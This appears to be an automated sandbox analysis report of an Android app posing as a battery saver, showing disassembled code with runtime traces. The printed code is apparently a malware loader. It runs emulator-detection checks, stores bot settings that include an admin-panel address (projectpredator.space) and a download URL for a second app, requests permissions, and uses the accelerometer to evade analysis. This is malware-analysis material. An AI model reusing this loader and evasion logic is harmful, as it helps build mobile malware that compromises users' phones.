          176iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          178iget-object v4, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->c:Ljava/lang/String;
          180const-string v5, "ERROR {ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}"
          182invoke-virtual {v3, v4, v5}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          183goto_108:
          184iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          186invoke-virtual {v3, p1}, Lcom/saver/batterymobi/lkj/a/c;->f(Landroid/content/Context;)Z
          187move-result v3
          188if-nez v3, :cond_13b
          190iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          192invoke-virtual {v3, p1}, Lcom/saver/batterymobi/lkj/a/c;->e(Landroid/content/Context;)Z
          193move-result v3
          194if-eqz v3, :cond_13b
          196iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          198iget-object v4, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->c:Ljava/lang/String;
          200const-string v5, "No permission Storage"
          202invoke-virtual {v3, v4, v5}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          203new-instance v3, Landroid/content/Intent;
          204const-class v4, Lcom/saver/batterymobi/lkj/zxs/kgr;
          206invoke-direct {v3, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          208invoke-virtual {v3, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          210invoke-virtual {v3, p2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          212invoke-virtual {p1, v3}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
          213try_end_131: goto/16 :goto_13b
          214catch_132:
          215iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          217iget-object v4, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->c:Ljava/lang/String;
          219const-string v5, "ERROR {Permission}"
          221invoke-virtual {v3, v4, v5}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          222cond_13b:
          223iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          225invoke-virtual {v3, p1}, Lcom/saver/batterymobi/lkj/a/c;->f(Landroid/content/Context;)Z
          226move-result v3
          227if-nez v3, :cond_1bb
          229iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          231iget-object v4, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->b:Lcom/saver/batterymobi/lkj/a;
          233invoke-virtual {v4}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          235const-string v4, "urlDownloadApp"
          237invoke-virtual {v3, p1, v4}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          238move-result-object v3
          240invoke-virtual {v3}, Ljava/lang/String;->length()I
          241move-result v3
          242const/4 v4, 0x6
          243if-lt v3, v4, :cond_1bb
          245iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          247iget-object v4, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->b:Lcom/saver/batterymobi/lkj/a;
          249invoke-virtual {v4}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          251const-string v4, "packageApp"
          253invoke-virtual {v3, p1, v4}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          254move-result-object v3
          256invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
          257move-result-object v4
          258const/16 v5, 0x80
          260invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
          261move-result-object v4
          263invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
          264move-result-object v4
          265const/4 v5, 0x1
          266cond_173:
          267invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
          268move-result v6
          269if-eqz v6, :cond_197
          271invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
          272move-result-object v6
          273check-cast v6, Landroid/content/pm/ApplicationInfo;
          275iget-object v6, v6, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
          277invoke-virtual {v3, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          278move-result v6
          279if-eqz v6, :cond_173
          281iget-object v5, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          283iget-object v6, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->b:Lcom/saver/batterymobi/lkj/a;
          285invoke-virtual {v6}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          287const-string v6, "statusInstall"
          289const-string v7, "true"
          291invoke-virtual {v5, p1, v6, v7}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          292const/4 v5, 0x0
          293goto/16 :goto_173
          294cond_197: if-eqz v5, :cond_1bb
          295try_start_199: new-instance v3, Landroid/content/Intent;
          296const-class v4, Lcom/saver/batterymobi/lkj/zxs/drg;
          298invoke-direct {v3, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          300invoke-virtual {p1, v3}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
          301try_end_1a3: const/4 v0, 0x1
          302catch_1a4: if-nez v0, :cond_1bb
          303new-instance v0, Landroid/content/Intent;
          304const-class v1, Lcom/saver/batterymobi/lkj/zxs/drg;
          306invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          308invoke-virtual {v0, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          309const/high16 v1, 0x800000
          311invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          313invoke-virtual {v0, p2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          315invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
          316cond_1bb: return-void
          Cross References
          APIs
          • java.lang.Object.getClass
          • com.saver.batterymobi.lkj.a.c.c
          • com.saver.batterymobi.lkj.a.c.d
          Strings
          • =occam
          • Galaxy Nexus
          • google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
          • google
          • samsung
          • maguro
          • nexus
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          3invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          5invoke-static {}, Lcom/saver/batterymobi/lkj/a/c;->c()Z
          • Time: 2716446730
            • Return:
              • google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
          • Time: 2716446751
            • Return:
              • Galaxy Nexus
          • Time: 2716446771
            • Return:
              • samsung
          • Time: 2716446776
            • Return:
              • google
          • Time: 2716446813
            • Return:
              • =occam
          • Time: 2716446830
            • Return:
              • false
          6move-result v0
          7const/4 v1, 0x1
          8if-eqz v0, :cond_d
          9return v1
          10cond_d:
          11invoke-static {}, Lcom/saver/batterymobi/lkj/a/c;->d()Z
          • Time: 2716446836
            • Return:
              • =occam
          • Time: 2716446857
            • Return:
              • samsung
          • Time: 2716446874
            • Return:
              • google
          • Time: 2716446885
            • Return:
              • maguro
          • Time: 2716446898
            • Return:
              • Galaxy Nexus
          • Time: 2716446911
            • Return:
              • nexus
          • Time: 2716446926
            • Return:
              • google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
          • Time: 2716446951
            • Return:
              • false
          12move-result v0
          13if-eqz v0, :cond_14
          14return v1
          15cond_14: const/4 v0, 0x0
          16return v0
          Cross References
          APIs
          • com.saver.batterymobi.lkj.a.getClass
          • android.content.Context.getSharedPreferences
          • android.content.SharedPreferences.edit
          • android.app.SharedPreferencesImpl.getString
          Strings
          • settings
          • 0
          • initialization
          • kill
          • step
          Position Instruction Meta Information
          1sget-object v0, Lcom/saver/batterymobi/lkj/a/c;->b:Landroid/content/SharedPreferences;
          2if-nez v0, :cond_1a
          4iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          6invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          • Time: 2716434318
            • This:
              • com.saver.batterymobi.lkj.a@15ecfe5
            • Return:
              • class com.saver.batterymobi.lkj.a
              • getName: com.saver.batterymobi.lkj.a
          8const-string v0, "settings"
          9const/4 v1, 0x0
          11invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
          12move-result-object p1
          13sput-object p1, Lcom/saver/batterymobi/lkj/a/c;->b:Landroid/content/SharedPreferences;
          15sget-object p1, Lcom/saver/batterymobi/lkj/a/c;->b:Landroid/content/SharedPreferences;
          17invoke-interface {p1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
          18move-result-object p1
          19sput-object p1, Lcom/saver/batterymobi/lkj/a/c;->c:Landroid/content/SharedPreferences$Editor;
          20cond_1a:
          21sget-object p1, Lcom/saver/batterymobi/lkj/a/c;->b:Landroid/content/SharedPreferences;
          22const/4 v0, 0x0
          24invoke-interface {p1, p2, v0}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
          • Time: 2716434322
            • This:
              • android.app.SharedPreferencesImpl@5b91d6b
            • p0: initialization
            • p1: null
            • Return:
              • null
          • Time: 2716446719
            • This:
              • android.app.SharedPreferencesImpl@5b91d6b
            • p0: kill
            • p1: null
            • Return:
              • ""
          • Time: 2716446977
            • This:
              • android.app.SharedPreferencesImpl@5b91d6b
            • p0: step
            • p1: null
            • Return:
              • 0
          25move-result-object p1
          26return-object p1
          Cross References
          APIs
          • android.content.Context.getSharedPreferences
          • android.content.SharedPreferences.edit
          • android.app.SharedPreferencesImpl.getString
          Strings
          • battery_settings
          • 0
          • 1
          • 27
          • btn
          • min
          Position Instruction Meta Information
          1sget-object v0, Lcom/saver/batterymobi/MainActivity;->n:Landroid/content/SharedPreferences;
          2if-nez v0, :cond_15
          4const-string v0, "battery_settings"
          5const/4 v1, 0x0
          7invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
          8move-result-object p1
          9sput-object p1, Lcom/saver/batterymobi/MainActivity;->n:Landroid/content/SharedPreferences;
          11sget-object p1, Lcom/saver/batterymobi/MainActivity;->n:Landroid/content/SharedPreferences;
          13invoke-interface {p1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
          14move-result-object p1
          15sput-object p1, Lcom/saver/batterymobi/MainActivity;->o:Landroid/content/SharedPreferences$Editor;
          16cond_15:
          17sget-object p1, Lcom/saver/batterymobi/MainActivity;->n:Landroid/content/SharedPreferences;
          18const/4 v0, 0x0
          20invoke-interface {p1, p2, v0}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
          • Time: 2716434308
            • This:
              • android.app.SharedPreferencesImpl@252c1b4f
            • p0: btn
            • p1: null
            • Return:
              • null
          • Time: 2716495973
            • This:
              • android.app.SharedPreferencesImpl@252c1b4f
            • p0: btn
            • p1: null
            • Return:
              • 0
          • Time: 2716495996
            • This:
              • android.app.SharedPreferencesImpl@252c1b4f
            • p0: min
            • p1: null
            • Return:
              • 27
          • Time: 2716515995
            • This:
              • android.app.SharedPreferencesImpl@252c1b4f
            • p0: btn
            • p1: null
            • Return:
              • 1
          21move-result-object p1
          22return-object p1
          Cross References
          APIs
          • android.content.Intent.<init>
          • android.content.Intent.setAction
          • android.app.PendingIntent.getBroadcast
          • com.saver.batterymobi.MainActivity.getSystemService
          • java.lang.System.currentTimeMillis
          • android.app.AlarmManager.setRepeating
          • java.lang.Exception.printStackTrace
          Strings
          • alarm
          Position Instruction Meta Information
          0try_start_0: new-instance v0, Landroid/content/Intent;
          1const-class v1, Lcom/saver/batterymobi/lkj/dsf/brt;
          3invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          5invoke-virtual {v0, p1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
          6const/4 p1, 0x0
          8invoke-static {p0, p1, v0, p1}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
          9move-result-object v7
          11const-string p1, "alarm"
          13invoke-virtual {p0, p1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
          • Time: 2716434466
            • This:
              • com.saver.batterymobi.MainActivity@28d90cd8
            • p0: alarm
            • Return:
              • android.app.AlarmManager@37ca2547
          • Time: 2716446967
            • This:
              • android.app.ReceiverRestrictedContext@afd0971
            • p0: alarm
            • Return:
              • android.app.AlarmManager@503a356
          14move-result-object p0
          15move-object v1, p0
          16check-cast v1, Landroid/app/AlarmManager;
          17const/4 v2, 0x0
          19invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
          20move-result-wide p0
          21const/4 v0, 0x0
          22add-long v3, p0, p2
          23move-wide v5, p2
          25invoke-virtual/range {v1 .. v7}, Landroid/app/AlarmManager;->setRepeating(IJJLandroid/app/PendingIntent;)V
          26try_end_24: goto/16 :goto_29
          27catch_25: move-exception p0
          29invoke-virtual {p0}, Ljava/lang/Exception;->printStackTrace()V
          30goto_29: return-void
          APIs
          • android.hardware.SensorManager.registerListener
          • android.hardware.Sensor.getType
          • java.lang.System.currentTimeMillis
          • java.lang.Math.abs
          • com.saver.batterymobi.lkj.jgj.jgr.a
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->k:Landroid/hardware/SensorManager;
          3iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->l:Landroid/hardware/Sensor;
          4const/4 v2, 0x3
          6invoke-virtual {v0, p0, v1, v2}, Landroid/hardware/SensorManager;->registerListener(Landroid/hardware/SensorEventListener;Landroid/hardware/Sensor;I)Z
          • Time: 2716447162
            • This:
              • android.hardware.SystemSensorManager@d2e745c
            • p0: com.saver.batterymobi.lkj.jgj.jgr@288275a9
            • p1: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
            • p2: 3
          8iget-object v0, p1, Landroid/hardware/SensorEvent;->sensor:Landroid/hardware/Sensor;
          10iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->k:Landroid/hardware/SensorManager;
          12invoke-virtual {v1, p0, v0, v2}, Landroid/hardware/SensorManager;->registerListener(Landroid/hardware/SensorEventListener;Landroid/hardware/Sensor;I)Z
          • Time: 2716447167
            • This:
              • android.hardware.SystemSensorManager@d2e745c
            • p0: com.saver.batterymobi.lkj.jgj.jgr@288275a9
            • p1: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
            • p2: 3
          • Time: 2716578053
            • This:
              • android.hardware.SystemSensorManager@d2e745c
            • p0: com.saver.batterymobi.lkj.jgj.jgr@288275a9
            • p1: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
            • p2: 3
          14invoke-virtual {v0}, Landroid/hardware/Sensor;->getType()I
          15move-result v0
          16const/4 v1, 0x1
          17if-ne v0, v1, :cond_5a
          19iget-object p1, p1, Landroid/hardware/SensorEvent;->values:[F
          20const/4 v0, 0x0
          21aget v0, p1, v0
          22aget v1, p1, v1
          23const/4 v2, 0x2
          24aget p1, p1, v2
          26invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
          27move-result-wide v2
          28iget-wide v4, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->m:J
          29sub-long v4, v2, v4
          30const-wide/16 v6, 0x64
          31cmp-long v8, v4, v6
          32if-lez v8, :cond_5a
          33iget-wide v4, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->m:J
          34sub-long v4, v2, v4
          35iput-wide v2, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->m:J
          36add-float v2, v0, v1
          37add-float/2addr v2, p1
          38iget v3, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->n:F
          39sub-float/2addr v2, v3
          40iget v3, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->o:F
          41sub-float/2addr v2, v3
          42iget v3, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->p:F
          43sub-float/2addr v2, v3
          45invoke-static {v2}, Ljava/lang/Math;->abs(F)F
          46move-result v2
          47long-to-float v3, v4
          48div-float/2addr v2, v3
          49const v3, 0x461c4000 # 10000.0f
          50mul-float v2, v2, v3
          51const/high16 v3, 0x44160000 # 600.0f
          52cmpl-float v2, v2, v3
          53if-lez v2, :cond_54
          55invoke-virtual {p0}, Lcom/saver/batterymobi/lkj/jgj/jgr;->a()V
          56cond_54: iput v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->n:F
          57iput v1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->o:F
          58iput p1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->p:F
          59cond_5a: return-void
          APIs
          • android.app.Service.onCreate
          • com.saver.batterymobi.lkj.jgj.jgr.getSystemService
          • android.hardware.SensorManager.registerListener
          • android.hardware.SensorManager.getDefaultSensor
          Strings
          • sensor
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/app/Service;->onCreate()V
          3const-string v0, "sensor"
          5invoke-virtual {p0, v0}, Lcom/saver/batterymobi/lkj/jgj/jgr;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
          • Time: 2716447026
            • This:
              • com.saver.batterymobi.lkj.jgj.jgr@288275a9
            • p0: sensor
            • Return:
              • android.hardware.SystemSensorManager@d2e745c
          6move-result-object v0
          7check-cast v0, Landroid/hardware/SensorManager;
          8iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->k:Landroid/hardware/SensorManager;
          10iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->k:Landroid/hardware/SensorManager;
          12iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->l:Landroid/hardware/Sensor;
          13const/4 v2, 0x3
          15invoke-virtual {v0, p0, v1, v2}, Landroid/hardware/SensorManager;->registerListener(Landroid/hardware/SensorEventListener;Landroid/hardware/Sensor;I)Z
          • Time: 2716447030
            • This:
              • android.hardware.SystemSensorManager@d2e745c
            • p0: com.saver.batterymobi.lkj.jgj.jgr@288275a9
            • p1: null
            • p2: 3
          17iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->k:Landroid/hardware/SensorManager;
          18const/4 v1, 0x1
          20invoke-virtual {v0, v1}, Landroid/hardware/SensorManager;->getDefaultSensor(I)Landroid/hardware/Sensor;
          21move-result-object v0
          22iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->l:Landroid/hardware/Sensor;
          23return-void
          APIs
          • com.saver.batterymobi.lkj.jgj.jgr.getSystemService
          • android.hardware.SensorManager.registerListener
          • android.hardware.SensorManager.getDefaultSensor
          Strings
          • sensor
          Position Instruction Meta Information
          1const-string p1, "sensor"
          3invoke-virtual {p0, p1}, Lcom/saver/batterymobi/lkj/jgj/jgr;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
          • Time: 2716447036
            • This:
              • com.saver.batterymobi.lkj.jgj.jgr@288275a9
            • p0: sensor
            • Return:
              • android.hardware.SystemSensorManager@d2e745c
          4move-result-object p1
          5check-cast p1, Landroid/hardware/SensorManager;
          6iput-object p1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->k:Landroid/hardware/SensorManager;
          8iget-object p1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->k:Landroid/hardware/SensorManager;
          10iget-object p2, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->l:Landroid/hardware/Sensor;
          11const/4 p3, 0x3
          13invoke-virtual {p1, p0, p2, p3}, Landroid/hardware/SensorManager;->registerListener(Landroid/hardware/SensorEventListener;Landroid/hardware/Sensor;I)Z
          • Time: 2716447068
            • This:
              • android.hardware.SystemSensorManager@d2e745c
            • p0: com.saver.batterymobi.lkj.jgj.jgr@288275a9
            • p1: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
            • p2: 3
          15iget-object p1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->k:Landroid/hardware/SensorManager;
          16const/4 p2, 0x1
          18invoke-virtual {p1, p2}, Landroid/hardware/SensorManager;->getDefaultSensor(I)Landroid/hardware/Sensor;
          19move-result-object p1
          20iput-object p1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->l:Landroid/hardware/Sensor;
          21return p2
          Cross References
          APIs
          • com.saver.batterymobi.lkj.a.getClass
          • java.lang.Object.getClass
          Strings
          • idbot
          • initialization
          • good
          • startLoader
          • urlAdminPanel
          • http://projectpredator.space
          • urlDownloadApp
          • packageApp
          • filename
          • fileMd5
          • starterService
          • statusInstall
          • kill
          • step
          • 0
          • ActivityUpdate
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          3invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          • Time: 2716434331
            • This:
              • com.saver.batterymobi.lkj.a@15ecfe5
            • Return:
              • class com.saver.batterymobi.lkj.a
              • getName: com.saver.batterymobi.lkj.a
          5const-string v0, "idbot"
          6const/16 v1, 0x18
          8invoke-virtual {p0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(I)Ljava/lang/String;
          9move-result-object v1
          11invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          13iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          15invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          • Time: 2716434339
            • This:
              • com.saver.batterymobi.lkj.a@15ecfe5
            • Return:
              • class com.saver.batterymobi.lkj.a
              • getName: com.saver.batterymobi.lkj.a
          17const-string v0, "initialization"
          19const-string v1, "good"
          21invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          23iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          25invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          • Time: 2716434350
            • This:
              • com.saver.batterymobi.lkj.a@15ecfe5
            • Return:
              • class com.saver.batterymobi.lkj.a
              • getName: com.saver.batterymobi.lkj.a
          27const-string v0, "startLoader"
          29const-string v1, ""
          31invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          33iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          35invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          • Time: 2716434358
            • This:
              • com.saver.batterymobi.lkj.a@15ecfe5
            • Return:
              • class com.saver.batterymobi.lkj.a
              • getName: com.saver.batterymobi.lkj.a
          37const-string v0, "urlAdminPanel"
          39const-string v1, "http://projectpredator.space"
          41invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          43iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          45invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          47const-string v0, "urlDownloadApp"
          49const-string v1, ""
          51invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          53iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          55invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          57const-string v0, "packageApp"
          59const-string v1, ""
          61invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          63iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          65invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          67const-string v0, "filename"
          69const-string v1, ""
          71invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          73iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          75invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          77const-string v0, "fileMd5"
          79const-string v1, ""
          81invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          83iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          85invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          87const-string v0, "starterService"
          89const-string v1, ""
          91invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          93iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          95invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          97const-string v0, "statusInstall"
          99const-string v1, ""
          101invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          103iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          105invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          107const-string v0, "kill"
          109const-string v1, ""
          111invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          113iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          115invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          117const-string v0, "step"
          119const-string v1, "0"
          121invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          123iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          125invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          127const-string v0, "ActivityUpdate"
          129iget-object v1, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          131invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
